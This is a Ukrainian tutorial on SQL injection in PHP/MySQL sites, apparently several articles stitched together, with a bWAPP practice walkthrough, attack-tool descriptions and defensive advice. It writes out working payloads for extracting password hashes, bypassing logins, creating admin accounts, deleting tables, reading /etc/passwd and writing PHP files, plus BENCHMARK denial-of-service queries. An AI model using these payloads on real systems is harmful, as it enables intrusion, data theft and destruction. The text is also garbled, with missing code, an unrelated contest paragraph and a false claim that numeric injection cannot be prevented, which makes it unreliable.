Sql ін'єкції. Що це таке? Як дізнатися версії MySQL

Недбалість і неуважність, дві причини написання коду, вразливого для SQL ін'єкцій. Третя причина - незнання, чи повинна спонукати програміста до поглиблення своїх знань чи навіть зміни професії.

SQL ін'єкція ( SQL injection) - вразливість яка виникає при недостатній перевірці та обробці даних, які передаються від користувача, і дозволяє модифікувати та виконувати непередбачені кодом програми SQL запити.

Ін'єкція SQL є поширеним дефектом безпеки в Internet, що легко використовується без спеціальних програм і вимагає глибоких технічних знань. Використання цієї вразливості дає шлях до великих можливостей, таких як:

  • крадіжка даних – 80%;
  • відмова в обслуговуванні – 10 відсотків;
  • підміна або знищення даних – 2-3%;
  • інші випадки та наміри.

Також існують різні програми тестування безпеки сайту на будь-які JS і SQL ін'єкції.

Детальне пояснення

У цій статті я спробую пояснити основні ризики, які виникають при взаємодії між та базою даних MySQL. Для наочності наведу приклад простої структури бази даних, яка є типовою для більшості проектів:

CREATE DATABASE `news`; USE `news`; # # таблиця новин # CREATE TABLE `news` (`id` int(11) NOT NULL auto_increment, `title` varchar(50) default NULL, `date` datetime default NULL, `text` text, PRIMARY KEY (`id` )) TYPE = MyISAM; # # додаємо деякі дані # INSERT `news` SET `id`="1", `title`="first news", `date`="2005-06-25 16:50:20", `text`=" news text"; INSERT `news` SET `id`="2", `title`="second news", `date`="2005-06-24 12:12:33", `text`="test news"; # # таблиця користувачів # CREATE TABLE `users` (`id` int(11) NOT NULL auto_increment, `login` varchar(50) default NULL, `password` varchar(50) default NULL, `admin` int(1) NULL DEFAULT "0", PRIMARY KEY (`id`)) TYPE = MyISAM; # # додаємо декілька користувачів, одного з правами адміна, іншого простого # INSERT `users` SET `id`="1", `login`="admin", `password`="qwerty", `admin`="1" ; INSERT `users` SET `id`="2", `login`="user", `password`="1111", `admin`="0";

Бачимо, що запит формується залежно від $_GET["id"]. Для перевірки наявності вразливості достатньо змінити його на значення, яке може викликати помилку у виконанні запиту SQL.

Звичайно, виведення помилок може і не бути, але це не означає, що помилки немає, як результат

«Ви маєте error in your SQL syntax; check the manual that corresponds to your MySQL server version for right syntax to use near """ at line 1»

або результат

http://test.com/index.php?id=2-1

за наявності вразливості повинен видати результат, аналогічний

http://test.com/index.php?id=1.

Подібні вразливості дозволяють модифікувати запиту частині параметра WHERE. Перше, що зробить зловмисник при виявленні такої вразливості – досліджує, скільки полів використовується у запиті. Для цього задається свідомо невірний id, щоб виключити висновок реальної інформації та поєднується із запитом з однаковою кількістю порожніх полів.

http://test.com/index.php?id=-1+UNION+SELECT+null,null,null,null

кількість "null" має відповідати кількості полів, які використовуються у запиті.

Якщо запит видає помилку, додається ще одне порожнє значення, доки не зникне помилка і не буде отримано результат з порожніми даними. Далі об'єднані поля замінюються значеннями, які можна візуально спостерігати на сторінці.

Наприклад:

http://test.com/index.php?id=-1+UNION+SELECT+null

тепер на сторінці, де мав бути показаний заголовок новини, буде красуватися qwerty.

Як дізнатися версії MySQL?

http://test.com/index.php?id=-1+UNION+SELECT+null,VERSION(),null,null http://test.com/index.php?id=-1+UNION+SELECT +null,USER(),null,null http://test.com/index.php?id=-1+UNION+SELECT+null,SESSION_USER(),null,null

Як витягти логін поточного користувача бази даних?

http://test.com/index.php?id=-1+UNION+SELECT+null,SYSTEM_USER(),null,null

Як ім'я бази даних?

http://test.com/index.php?id=-1+UNION+SELECT+null,DATABASE(),null,null

Як отримати інші дані з інших таблиць?

SELECT * FROM `news` WHERE `id`=-1 UNION SELECT null, `password`, null, null FROM `users` WHERE `id`="1";

Ось таким нехитрим способом дізнаються пароль або хеш пароля адміну. Якщо ж поточний користувач має права доступу до бази mysql, без жодних проблем зловмисник отримає хеш пароля адміну.

http://test.com/index.php?id=-1+union+select+null,mysql.user.password,null,null+from+mysql.user

Тепер його підбір – це просто питання часу.

Пошук

Пошук - одне з найуразливіших місць, оскільки одночасно передається велика кількість параметрів запиту. Приклад простого запиту, який виконує пошук за ключовим словом:

SELECT * FROM `news` WHERE `title` LIKE "%$search%" OR `text` LIKE "%$search%"

$search - слово, яке передається із форми. Зловмисник може передати в змінній $search="# тепер запит буде виглядати так:

SELECT * FROM `news` WHERE `title` LIKE "%"#%" OR `text` LIKE "%"#%";

Відповідно, замість результатів пошуку за ключовим словом будуть видані всі дані. Це також дозволяє використовувати об'єднання запитів, описану вище.

Використання параметра ORDER

Часто можна побачити, що при введенні параметрів пошуку або виведення інформації дають можливість користувачеві сортувати дані за певними полями. Скажу відразу, що використання цієї вразливості не є надто небезпечним, оскільки при спробі об'єднання запитів викличе помилку, однак у парі з уразливістю в інших полях є небезпека закоментування цього параметра.

http://test.com/index.php?sort=name

параметр ORDER формується залежно від змінної $ sort

Буде сформовано наступний запит:

SELECT * FROM `news` WHERE `title` LIKE "%"/*%" OR `text` LIKE "%"/*%" ORDER BY */

цим коментується одна з умов і параметр ORDER

Тепер можна знову об'єднати запит, надавши $sort=*/ UNION SELECT…

Як варіант використання вразливості цього параметра:

SELECT * FROM `users` ORDER BY LENGTH(password);

Дозволяє відсортувати користувачів залежно від довжини пароля, за умови, що він зберігається у «чистому» вигляді.

Авторизація

Спробуємо розглянути варіанти SQL ін'єкцій, які виникають при авторизації користувачів. Як правило, запит, який перевіряє правильність даних авторизації виглядає наступним чином:

SELECT * FROM `users` WHERE `login`="$login" AND `password`="$password";

де $login та $password це змінні, які передаються з форми. Подібний запит повертає дані користувача в разі успіху, а в разі невдачі порожній результат. Відповідно для того, щоб пройти авторизацію зловмисникові, достатньо модифікувати запит таким чином, щоб він повернув ненульовий результат. Задається логін, який відповідає реальному користувачеві, а замість пароля вказується " OR "1"="1 Або якесь справжнє умова (1, "a"="a", 1<>2, 3>2, 1+1, ISNULL(NULL), 2 IN (0,1,2), 2 BETWEEN 1 AND 3). Відповідно запит буде сформовано наступним чином:

SELECT * FROM `users` WHERE `login`="admin" AND `password`="" OR "1"="1";

що поверне результат, як наслідок, призведе до несанкціонованої авторизації. А якщо паролі у таблиці хешовані? Тоді перевірку пароля просто відключають, закоментувавши все, що йде після `login`. У формі замість логіна призначається логін реального користувача і тим самим закоментується перевірка пароля.

SELECT * FROM `users` WHERE `login`="admin"#" AND `password`="12345"

як варіант "OR`id`=2#

SELECT * FROM `users` WHERE `login`="" OR `id`=2#" AND `password`="12345"

SELECT * FROM `users` WHERE `login`="" OR `admin`="1"#" AND `password`="12345"

Великою помилкою є перевірка пароля таким чином:

SELECT * FROM `users` WHERE `login`="$login" AND `password` LIKE "$password"

оскільки в цьому випадку для будь-якого логіну підійде пароль

INSERT & UPDATE

Однак не тільки SELECT є вразливим місцем SQL. Не менш уразливими можуть виявитися INSERT та UPDATE. Допустимо, на сайті є можливість реєстрації користувачів. Запит, який додає нового користувача:

Вразливість одного з полів дозволяє модифікувати запит із необхідними даними. У поле login додаємо користувач", "пароль", 1)# тим самим додавши користувача з правами адміну.

INSERT `users` SET `login`="користувач", `password`="пароль", `admin`="0";

Припустимо, що поле `admin` знаходиться перед полем `login`, відповідно трюк із заміною даних, які йдуть після поля `login` не проходить. Згадуємо, що синтаксис команди INSERT дозволяє додавати не лише один рядок, а й кілька. Приклад вразливості в полі login: $login=", "пароль"), (1, "хакер", "пароль")#

INSERT INTO `users` SET (`admin`, `login`, `password`) VALUES (0, "користувач", "пароль"), (1, "хакер", "пароль")#", "пароль") ;

Таким чином створюється 2 записи, один із правами простого користувача, інший з бажаними правами адміну.

Подібна ситуація і з UPDATE

Додавання додаткових полів для зміни:

$login=", `password`="", `admin`="1

Тоді подібний запит

UPDATE `users` SET `login`="чайник" WHERE `id`=2;

Модифікується так:

UPDATE `users` SET `login`="", `password`="", `admin`="1" WHERE `id`=2;

Що станеться? Користувач з ID 2 змінить логін та пароль на порожні значення та отримає права адміну. Або у випадку

$login=", `password`="" WHERE `id` =1#

Логін та пароль адміну стануть порожніми.

DELETE

Тут все просто, ніяких даних отримати чи змінити не вдасться, але видалити зайве завжди будь ласка.

$id=1 OR 1=1

DELETE FROM `news` WHERE `id`="1" OR 1=1; // Почистить всі записи таблиці.

Замість 1=1 може бути будь-яка істинна умова, про яку йшлося вище. Може врятувати параметр LIMIT, який обмежить кількість віддалених рядків, але не завжди його можуть просто закоментувати.

DELETE FROM `news` WHERE `id`="1" OR 1=1# LIMIT 1;

Робота з файлами через ін'єкції SQL

Дуже сумніваюся, що це десь може пройти, але заради справедливості треба описати й такі способи. При включених привілеях файлу можна використовувати команди LOAD_FILE і OUTFILE.

Про їхню небезпеку можна судити з наведених нижче запитів:

SELECT * FROM `news` WHERE `id`=-1 union select null,LOAD_FILE("/etc/passwd"),null,null; SELECT * FROM `news` WHERE `id`=-1 UNION SELECT null, LOAD_FILE("/home/test/www/dbconf.php"),null,null;

Але на цьому всі біди ще не закінчуються.

SELECT * FROM `news` WHERE `id`=-1 UNION SELECT null,"",null,null FROM `news` into outfile "/home/test/www/test.php";

Ось так записуємо файл, який містить код PHP. Правда крім коду, в ньому буде ще кілька записів null, але це жодним чином не вплине на працездатність PHP коду. Однак є кілька умов, завдяки яким ці способи спрацюють:

  • Увімкнено привілей FILE для поточного користувача бази даних;
  • Права на читання або запис цих файлів для користувача, під яким запускається MySQL сервер, абсолютний шлях до файлу;
  • менш важлива умова - розмір файлу повинен бути меншим ніж max_allowed_packet, але оскільки в MySQL 3.23 розмір найбільшого пакета може бути 16 мБ, а в 4.0.1 і більше розмір пакета обмежується тільки кількістю доступної пам'яті, аж до теоретичного максимуму в 2 Гб ця умова зазвичай завжди доступно.

Magic quotes

Магічні лапки унеможливлюють використання SQL ін'єкцій у рядкових змінних, оскільки автоматично екранує всі "і" які приходять з $_GET та $_POST. Але це не стосується використання вразливостей у цілих або дробових параметрах, правда з поправкою, що не можна буде використовувати. У цьому випадку допомагає функція сhar.

SELECT * FROM `news` WHERE `id`=-1 UNION SELECT null, char(116, 101, 115, 116), null, null;

DOS через ін'єкцію SQL.

Ледве не забув сказати, а знавці SQL підтвердять, що операція UNION можлива лише MySQL >=4.0.0. З полегшенням зітхнули люди, які мають проекти на попередніх версіях:) Але не все так безпечно, як виглядає на перший погляд. Логіку зловмисника іноді складно простежити. «Не вийде зламати, то хоч завалю» подумає хацкер, набираючи функцію BENCHMARK для прикладу запит

SELECT * FROM `news` WHERE `id`=BENCHMARK(1000000,MD5(NOW()));

Виконувався у мене від 12 до 15 секунд. Додавши нолік – 174 секунди. На більше у мене просто не піднялася рука. Звичайно, на потужних серверах такі речі будуть виконуватися набагато швидше, але ... BENCHMARK дозволяє вкладати себе один в один. Ось так:

SELECT * FROM `news` WHERE `id`=BENCHMARK(1000000,BENCHMARK(1000000,MD5(NOW())));

Або навіть ось так

SELECT * FROM `news` WHERE `id`=BENCHMARK(1000000,BENCHMARK(1000000,BENCHMARK(1000000,MD5(NOW())))));

Та й кількість нулів обмежена хіба що «добротою» того, хто їх набирає.

Я думаю, що навіть дуже потужна машина, не зможе з легкістю проковтнути такі запити.

Підсумок

На цьому все. У цій статті я намагався максимально охопити варіанти уразливостей, які допускають програмісти під час створення програм з використанням баз даних MySQL. Однак я більш ніж впевнений, що це не повний перелік.

Важливо запам'ятати правила проти ін'єкцій SQL

  • Не довіряйте НІЯКИМ даним, які надходять від користувача. Йдеться не лише про дані, які передаються масивами $_GET та $_POST. Не слід забувати про $_COOKIE та інші частини HTTP заголовків. Слід пам'ятати, що їх легко підмінити.
  • Не варто сподіватися на опцію PHP «magic quotes», які напевно більше заважають, ніж допомагають. Усі дані, що передаються до бази даних, повинні бути зведені за типами з полями бази даних. ($id=(int)$_GET["id"]) або захищені функціями mysql_real_escape_string або mysql_real_escape_string.
  • mysql_real_escape_string не екранує % і _, тому не варто використовувати її в парі з LIKE.
  • Не варто також сподіватися на правильно написаний mod_rewrite. Це тільки способи для створення «зручних» URL, але аж ніяк не спосіб захисту від ін'єкцій SQL.
  • Вимкніть виведення інформації про помилки.
  • Не допомагайте поганим відвідувачам. Навіть якщо помилку буде виявлено, відсутність інформації про неї серйозно ускладнить її застосування. Пам'ятайте про різницю між стадією розробки та робочим проектом. Висновок помилокта іншої детальної інформації - ваш союзник на стадії розробки, та союзник зловмисникау робочому варіанті. Не варто також ховати їх, коментуючи в HTML коді, на 1000 відвідувачів знайдеться 1, який таки знайде подібні речі.
  • Обробляйте помилки.
  • Напишіть обробку SQL запитів таким чином, щоб інформація про них зберігалася в будь-яких логах або надсилалася поштою.
  • Не зберігайте дані доступу до бази даних у файлах, які PHP не обробляються як код.
  • Думаю нікому не відкрив Америки, але з власного досвіду можу сказати, що така практика є досить поширеною. Як правило, це файл з розширенням *.inc
  • Не створюйте «супер-користувача» бази даних.
  • Надайте лише права, необхідні для виконання конкретних завдань.
  • У пошуку варто обмежити мінімальну та максимальну кількість символів, що є параметрами запиту.
  • Для чесного користувача цілком достатньо від 3-х до 60-70 символів, щоб задовольнити свої пошукові інтереси, і одночасно ви попереджаєте ситуацію, коли пошуковим запитом стане том «Війни та миру».
  • Завжди перевіряйте кількість повернутих записів після запиту

Майже на 90% сайтів, написаних на phpзустрічається така логічна помилка, особливо це можна спостерігати, коли робиться запит на основі отриманого ID від користувача, якщо руками дати скрипту неіснуючий ID - ми побачимо досить цікаві результати роботи деяких скриптів, замість повернути 404 програма в кращому випадку нічого не зробить і виведе у чисту сторінку.

Безпечного вам SQL.

Кількість сайтів та сторінок у Мережі неухильно зростає. За розробку беруться всі, хто може. І початківці веб-програмісти часто використовують небезпечний і старий код. А це створює масу лазівок для зловмисників та хакерів. Чим вони користуються. Одна з класичних вразливостей - SQL-ін'єкція.

Трохи теорії

Багато хто знає, що більшість сайтів та сервісів у мережі використовують для зберігання бази SQL. Це така мова структурованих запитів, яка дозволяє керувати та адмініструвати сховища з даними. Відомо багато різних версій систем управління базами даних - Oracle, MySQL, Postgre. Незалежно від імені та типу, вони однаково використовують запити до даних. Саме тут і криється потенційна вразливість. Якщо розробник не зміг правильно та безпечно обробити запит, то зловмисник може скористатися цим та застосувати особливі тактики для отримання доступу до бази, а звідти – і до управління всім сайтом.

Щоб уникнути таких ситуацій, потрібно грамотно оптимізувати код і уважно стежити за тим, який запит яким чином обробляється.

Перевірка на SQL-ін'єкції

Для встановлення наявності вразливості у мережі є безліч готових автоматизованих програмних комплексів. Але можна здійснити просту перевірку та вручну. Для цього потрібно перейти на один із досліджуваних сайтів та в адресному рядку спробувати викликати помилку бази даних. Наприклад, скрипт на сайті може не обробляти запити та не обрізати їх.

Наприклад, є якийсь сайт/index.php?id=25

Найлегший спосіб - поставити після 25 лапку і надіслати запит. Якщо жодної помилки не виникло, то або на сайті фільтруються всі запити і правильно обробляються, або в налаштуваннях вимкнено їх висновок. Якщо сторінка перезавантажилася з проблемами, то вразливість для SQL-ін'єкції є.

Після того як вона виявлена, можна намагатися позбутися її.

Для реалізації цієї вразливості потрібно знати трохи про одну з них - UNION. Вона поєднує кілька результатів запиту на один. Так можна обчислити кількість полів у таблиці. Приклад першого запиту виглядає так:

  • деякий_сайт/index.php?id=25 UNION SELECT 1.

У більшості випадків такий запис має видати помилку. Це означає, що кількість полів не дорівнює 1. Таким чином, підбираючи варіанти від 1 і більше, можна встановити їх точне число:

  • деякий_сайт/index.php?id=25 UNION SELECT 1,2,3,4,5,6.

Тобто коли помилка перестане з'являтися, значить, кількість полів вгадана.

Є також альтернативний варіант вирішення цієї проблеми. Наприклад, коли кількість полів велика — 30, 60 чи 100. Це команда GROUP BY. Він групує результати запиту за якоюсь ознакою, наприклад id:

  • якийсь_сайт/index.php?id=25 GROUP BY 5.

Якщо помилок був отримано, отже, полів більше, ніж 5. Отже, підставляючи варіанти з досить великого діапазону, можна визначити, скільки їх насправді.

Даний приклад SQL-ін'єкції – для новачків, які хочуть спробувати себе у тестуванні свого сайту. Важливо пам'ятати, що за несанкціонований доступ до чужого є стаття Кримінального кодексу.

Основні типи ін'єкцій

Реалізувати вразливість за допомогою SQL-ін'єкції можна кількома варіантами. Далі йдуть найпопулярніші методики:

    UNION injection. Простий приклад цього типу вже було розглянуто вище. Реалізується він за рахунок помилки в перевірці даних, що приходять, які ніяк не фільтруються.

    Error-based SQL injection. Як відомо з назви, цей тип також використовує помилки, посилаючи висловлювання, складені синтаксично неправильно. Потім відбувається перехоплення заголовків відповіді, аналізуючи які, можна провести згодом SQL-ін'єкцію.

    Stacked injection. Ця вразливість визначається виконанням послідовних запитів. Характеризується він приєднанням наприкінці знака ";". Цей підхід частіше реалізується для доступу до реалізації читання та запису даних або управлінням функціями операційної системи, якщо привілеї це дозволяють.

Програмні комплекси для пошуку SQL-уразливостей

Існуючі для проведення SQL-ін'єкцій програми зазвичай мають дві складові — сканування сайту на можливі вразливості та їх використання для отримання доступу до даних. Існують такі утиліти практично всім відомих платформ. Їхній функціонал значною мірою полегшує перевірку сайту на можливість злому SQL-ін'єкцією.

Sqlmap

Дуже потужний сканер, який працює з більшістю відомих СУБД. Підтримує різні методики застосування SQL-ін'єкцій. Має можливість автоматичного розпізнавання типу хеша пароля та його злому за словником. Існує і функціонал завантаження та вивантаження файлів із сервера.

Встановлення серед Linux виконується за допомогою команд:

  • git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev,
  • cdsqlmap-dev/,
  • ./sqlmap.py --wizard.

Для Windows є як варіант із командним рядком, так і з графічним інтерфейсом користувача.

jSQL Injection

jSQL Injection - кросплатформний інструмент для тестування використання SQL вразливостей. Написаний на Java, тому в системі має бути встановлений JRE. Здатний обробляти запити header, cookie. Має зручний графічний інтерфейс.

Встановлення цього програмного комплексу відбувається так:

wget https://github.com/`curl -s https://github.com/ron190/jsql-injection/releases| grep-E -o "/ron190/jsql-injection/releases/download/v(1,2).(1,2)/jsql-injection-v(1,2).(1,2).jar"| head-n 1`

Запуск здійснюється за допомогою команди java-jar./jsql-injection-v*.jar

Щоб почати перевірку сайту на SQL-уразливість, потрібно ввести його адресу у верхнє поле. Вони є окремими для GET і для POST. При позитивному результаті у лівому вікні з'явиться перелік доступних таблиць. Їх можна переглянути та дізнатися про якусь конфіденційну інформацію.

Для пошуку адміністративних панелей використовується вкладка Admin page. На ній за допомогою спеціальних шаблонів виконується автоматичний пошук системних записів привілейованих користувачів. З них можна отримати лише хеш пароля. Але він є в інструментарії програми.

Після знаходження всіх вразливостей та ін'єктування потрібних запитів, утиліта дозволить залити на сервер свій файл або ж навпаки скачати його звідти.

SQLi Dumper v.7

Ця програма - простий у використанні інструмент для пошуку та реалізації вразливостей у SQL. Виробляє він це на основі так званих дорків. Їхні списки можна знайти в інтернеті. Дорки для SQL-ін'єкцій – це спеціальні шаблони пошукових запитів. З їхньою допомогою можна знайти потенційно через будь-який пошуковик.

Інструменти для тренування

На сайті itsecgames.com є спеціальний набір інструментарію, який дозволяє на прикладі показувати, як зробити SQL ін'єкцію і протестувати її. Для того, щоб скористатися, її потрібно скачати та встановити. Архів містить у собі набір файлів, який є структурою сайту. Для його встановлення знадобиться набір веб-сервера Apache, MySQL і PHP.

Розпакувавши архів у папку веб-сервера, потрібно перейти за адресою, введеною під час встановлення даного програмного продукту. Відкриється сторінка з реєстрацією користувача. Тут потрібно ввести свої дані та натиснути Create. Перевівши користувача у нове вікно, система запропонує вибрати один із варіантів тестування. Серед них є як описувані ін'єкції, так і багато інших тестових завдань.

Варто розглянути приклад ін'єкції SQL типу GET/Search. Тут потрібно вибрати її та натиснути «Hack». Перед користувачем постане рядок пошуку та імітація сайту з фільмами. Перебирати фільми можна довго. Але їх всього 10. Наприклад, можна спробувати запровадити Iron Man. Виведеться фільм, значить, сайт працює, і таблиці в ньому є. Тепер треба перевірити, чи скрипт фільтрує особливі символи, зокрема лапку. Для цього в рядок адреси потрібно додати». "%"" at line 1, яка говорить про те, що символи все ж таки обробляються неправильно. Отже, можна спробувати підставити свій запит. Але потрібно спочатку обчислити кількість полів. Для цього використовується order by, який вводиться після лапки: http://testsites.com/sqli_1.php?title=Iron+Man" order by 2 --&action=search.

Ця команда просто виведе відомості про фільм, тобто кількість полів більша за 2. Подвійний дефіс повідомляє серверу, що інші запити потрібно відкинути. Тепер треба перебирати, підставляючи все більші значення, доки не виведеться помилка. У результаті вийде, що полів буде 7.

Тепер настав час отримати щось корисне із бази. Прийде трохи модифікувати запит в адресному рядку: http://testsites.com/sqli_1.php?title=Iron+Man" union select 1, database(),user(),4,password,6, 7 from users --&action=search В результаті її виконання виведуться рядки з хешами паролів, які можна легко перетворити на зрозумілі символи за допомогою одного з онлайн сервісів. наприклад, адміна сайту.

У продукті є маса різновидів типів ін'єкцій, у яких можна попрактикуватися. Варто пам'ятати, що застосування даних навичок у мережі на реальних сайтах може виявитися кримінальним.

Ін'єкції та PHP

Як правило, саме PHP-код і відповідає за необхідну обробку запитів, що надходять від користувача. Тому саме на цьому рівні потрібно вибудовувати захист від SQL-ін'єкцій у PHP.

  • Дані завжди мають бути оброблені перед приміщенням у базу. Це можна реалізувати або використовуючи вже наявні вирази або організовуючи запити вручну. Тут теж варто враховувати, що числові значення перетворюються на той тип, який необхідний;
  • Уникати у запиті появи різних керуючих конструкцій.

Тепер трохи про правила складання запитів MySQL для захисту від SQL-ін'єкцій.

При складанні будь-яких виразів для запиту важливо відокремлювати дані від ключових слів SQL.

  • SELECT * FROM table WHERE name = Zerg.

У даній конструкції система може подумати, що Zerg це ім'я будь-якого поля, тому потрібно укласти його в лапки.

  • SELECT * FROM table WHERE name = "Zerg".

Однак бувають ситуації, коли значення саме по собі містить лапки.

  • SELECT * FROM table WHERE name = "кіт-д"івуар".

Тут обробиться лише частина кот-д, а решта може бути сприйнята як команда, якої, звісно, ​​немає. Тому виникне помилка. Значить, потрібно такого роду дані екранувати. Для цього використовується зворотний слеш – \.

  • SELECT * FROM table WHERE name = "кіт-д"івуар".

Все вищезгадане відноситься до рядків. Якщо дія відбувається з числом, то йому не потрібні ні лапки ні слеші. Однак їх треба обов'язково примусово призводити до необхідного типу даних.

Існує рекомендація, за якою ім'я поля має бути поміщене у зворотну лапку. Цей символ знаходиться в лівій частині клавіатури разом зі знаком тильда «~». Це потрібно для того, щоб MySQL могла точно відрізнити ім'я поля від ключового слова.

Динамічна робота з даними

Найчастіше для отримання будь-яких даних із бази використовуються запити, сформовані динамічно. Наприклад:

  • SELECT * FROM table WHERE number = "$number".

Тут змінна $number передається як визначення значення поля. Що ж буде, якщо в неї потрапить "кот-д"івуар"? Помилка.

Уникнути цієї неприємності, звичайно, можна включивши «чарівні лапки» в налаштуваннях. Але тепер дані екрануватимуться там, де треба і не треба. До того ж, якщо код пишеться вручну, то можна витратити трохи більше часу на те, щоб створити стійку до злому систему самому.

Для самостійного додавання слеша можна використовувати mysql_real_escape_string.

$number=mysql_real_escape_string($number);

$year=mysql_real_escape_string($year);

$query="INSERT INTO table (number,year,class) VALUES ("$number","$year",11)".

Хоча код і виріс в обсязі, все ж таки, потенційно він буде працювати набагато безпечніше.

Плейсхолдери

Плейсхолдери - своєрідні маркери, за якими система дізнається, що в це місце потрібно підставити спеціальну функцію. Наприклад:

$sate = $mysqli->prepare("SELECT District FROM Number WHERE Name=?");

$sate->bind_param("s", $number);

$sate->execute();

Дана ділянка коду здійснює підготовку шаблону запиту, потім прив'язує змінну number, і виконує його. Цей підхід дозволяє розділити обробку запиту та його реалізацію. Таким чином, можна вберегтися від використання впровадження шкідливого коду SQL-запити.

Що може зробити зловмисник

Захист системи – дуже важливий фактор, яким не можна нехтувати. Звичайно, простенький сайт-візитку буде простіше відновити. А якщо це великий портал, сервіс, форум? Які наслідки можуть бути, якщо не думати про безпеку?

По-перше, хакер може порушити як цілісність бази, і видалити її цілком. І якщо адміністратор сайту або хостер не зробили бекап, то доведеться несолодко. Крім того, зловмисник, зламавши один сайт, може перейти на інші, розміщені на цьому ж сервері.

Далі йде розкрадання особистих даних відвідувачів. Як їх використовувати - тут все обмежується лише фантазією хакера. Але у будь-якому разі наслідки будуть не дуже приємними. Тим більше, якщо містилася фінансова інформація.

Також зловмисник може злити собі базу, а потім вимагати гроші за її повернення.

Дезінформація користувачів від імені особою, що ним не є, також може нести негативні наслідки, оскільки можливі факти шахрайства.

Висновок

Вся інформація в цій статті надана виключно для ознайомлення. Використовувати її потрібно лише для тестування своїх проектів для виявлення вразливостей та його усунення.

Для більш поглибленого вивчення методики того, як провести SQL-ін'єкцію, потрібно розпочати власне з дослідження можливостей та особливостей мови SQL. Як складаються запити, ключові слова, типи даних та застосування всього цього.

Також не обійтися без розуміння функцій PHP та елементів HTML. Основними вразливими точками для використання ін'єкцій є адресний рядок, пошук та різні поля. Вивчення функцій PHP, спосіб їх реалізації та можливості дозволять зрозуміти, як можна уникнути помилок.

Наявність багатьох готових програмних інструментів дозволяють провести глибокий аналіз сайту на відомі вразливості. Один із найпопулярніших продуктів — kali linux. Це образ операційної системи на базі Linux, який містить у собі велику кількість утиліт та програм, здатних провести різнобічний аналіз сайту на міцність.

Навіщо потрібно знати, як зламати сайт? Все дуже просто — це треба для того, щоб мати уявлення про потенційно вразливі місця свого проекту чи сайту. Особливо якщо це будь-який інтернет-магазин з можливістю оплати онлайн, де платіжні дані користувача можуть бути скомпрометовані зловмисником.

Для професійного дослідження існують служби інформаційної безпеки зможуть перевірити сайт за різними критеріями та глибиною. Починаючи від простої HTML-ін'єкції та до соціальної інженерії та фішингу.

Ми бажаємо вам успіхів у його проходженні. Підсумки вашого проходження будуть опубліковані пізніше (стежте за новинами в соц. мережах), а також усім, хто пройшов надалі буде висланий інвайтдля реєстрації на сайті.

Ставте лайки, ділитесь з друзями та колегами, репостіть у соц.мережах.

Всі програмісти читали або принаймні чули про методи зламування веб-сайту. Або навіть зіткнулися із цією проблемою. З іншого боку, нескінченна фантазія тих, хто хоче зламати сайт, тому всі вузькі місця мають бути добре захищені. Ось чому я хотів би почати серію коротких статей, де будуть представлені основні методи та прийоми злому веб-сайтів.

У першій статті я хотів би описати та роз'яснити деякі загальні методи злому одного з найуразливіших частин сайту — форм. Я докладно зупинятимусь на тому, як використовувати ці методи і як запобігти атакам, а також розповім про тестування безпеки.

SQL ін'єкції

SQl-ін'єкція - це така техніка, коли зловмисник вводить команди SQL в поле input на веб-сторінці. Цим imput`ом може бути будь-що - текстове поле у ​​формі, параметри _GET і _POST, cookies і т. д. Цей метод був дуже ефективним до появи фреймворків у світі PHP. Але цей спосіб злому може бути як і раніше небезпечний, якщо ви не використовуєте ORM або будь-які розширення для data object. Чому? Через спосіб передачі параметрів SQL запит.

"Сліпі" ін'єкції

Давайте почнемо з класичного прикладу SQL-statement`а, що повертає користувача за його логіном та хешем від пароля (сторінка входу)

Приклад 1

mysql_query ("SELECT id, login FROM users WHERE login = ? and password = hash(?)");

Я підставив знаки запитань через різні варіації цього рішення. Перший варіант, на мій погляд, найвразливіший:

Приклад 1а

Mysql_query("SELECT id, login FROM users WHERE login = "" . $login . "" and password = hash("" . $password . "")");

У цьому випадку код не має перевірки на введення неправильних даних. Значення передаються прямо з форми введення SQL запит. У найкращому разі користувач введе тут свої логін та пароль. Що станеться у гіршому випадку? Спробуємо хакнути цю форму. Це можна зробити, передавши "підготовлені" дані. Спробуємо увійти як перший користувач з бази даних, а в більшості випадків це адмінський акаунт. Для цього передамо спеціальний рядок замість введення логіну:

" OR 1=1; --

Перша лапка може бути і одинарною, тому однією спробою злому можна не обійтися. В кінці стоять крапка з комою і два дефіси, щоб все, що йде після перетворилося на коментар. В результаті буде виконано наступний SQL запит:

SELECT id, login FROM users WHERE login = “;” OR 1=1 LIMIT 0,1; - and password = hash(“;Some password”)

Він поверне першого користувача з бази даних і, можливо, під ним у додатку. Хорошим ходом додати LIMIT, щоб входити під кожним окремим користувачем. Це єдине, що потрібно пройти за кожним значенням.

Більш серйозні методи

У попередньому прикладі все не так страшно. Можливості в адмінській панелі управління завжди мають обмеження і потрібно буде реально багато роботи, щоб поламати сайт. А ось атака через SQL ін'єкції може призвести до значно більших пошкоджень системи. Подумайте, скільки програм створюються з головною таблицею "users" , і що буде, якщо зловмисник введе такий код у незахищену форму:

My favorite login"; DROP TABLE users; --

Таблиця "users" буде видалена. Це одна з причин частіше робити бекапи баз даних.

_GET параметри

Усі параметри, заповнені через форму, передаються сервер одним із двох методів — GET чи POST. Найбільш поширений параметр, що передається через GET – id. Це одне з найуразливіших місць для атак, при цьому не важливо, якого виду урл ви використовуєте - http://example.com/ users/?id=1`, або ` http://example.com/ users/1`, або ` http://......./.../ post/35 `.

Що станеться, якщо ми підставимо до урла наступний код?

http://example.com/users/?id=1 AND 1=0 UNION SELECT 1,concat(login,password), 3,4,5,6 FROM users WHERE id =1; -

Імовірно, такий запит поверне нам логін користувача і... хеш від його пароля. Перша частина запиту `AND 1=0` перетворює те, що перед ним false, відповідно ніяких записів не буде отримано. А друга частина запиту поверне дані як prepared data. Оскільки першим параметром йде id, наступним буде логін користувача і хеш його пароля і ще кілька параметрів. Існує безліч програм, які за допомогою брутфорсу декодують такий пароль, як у прикладі. Оскільки користувач може використовувати той самий пароль для різних сервісів, можна отримати доступ і до них.

І ось що цікаво: від такого способу атаки абсолютно неможливо захиститися методами на зразок `mysql_real_escape_string`, `addslashes` і.т. д. У принципі, немає способу уникнути такої атаки, тому якщо параметри будуть передаватися так:

"SELECT id, login, email, param1 FROM users WHERE id = " . addslashes($_GET["id"]);"

проблеми не зникнуть.

Екранування символів у рядку

Коли я був новачком у програмуванні, мені було важко працювати з кодуванням. Я не розумів, у чому між ними відмінність, навіщо використовувати UTF-8, коли потрібно UTF-16, чому база даних постійно встановлює кодування в latin1. Коли я нарешті почав усе це розуміти, то виявив, що проблем поменшає, якщо зберігати все в одному стандарті кодування. Розбираючись з усім цим, я помітив також проблеми безпеки, що виникають при перетворенні з одного кодування в інше.

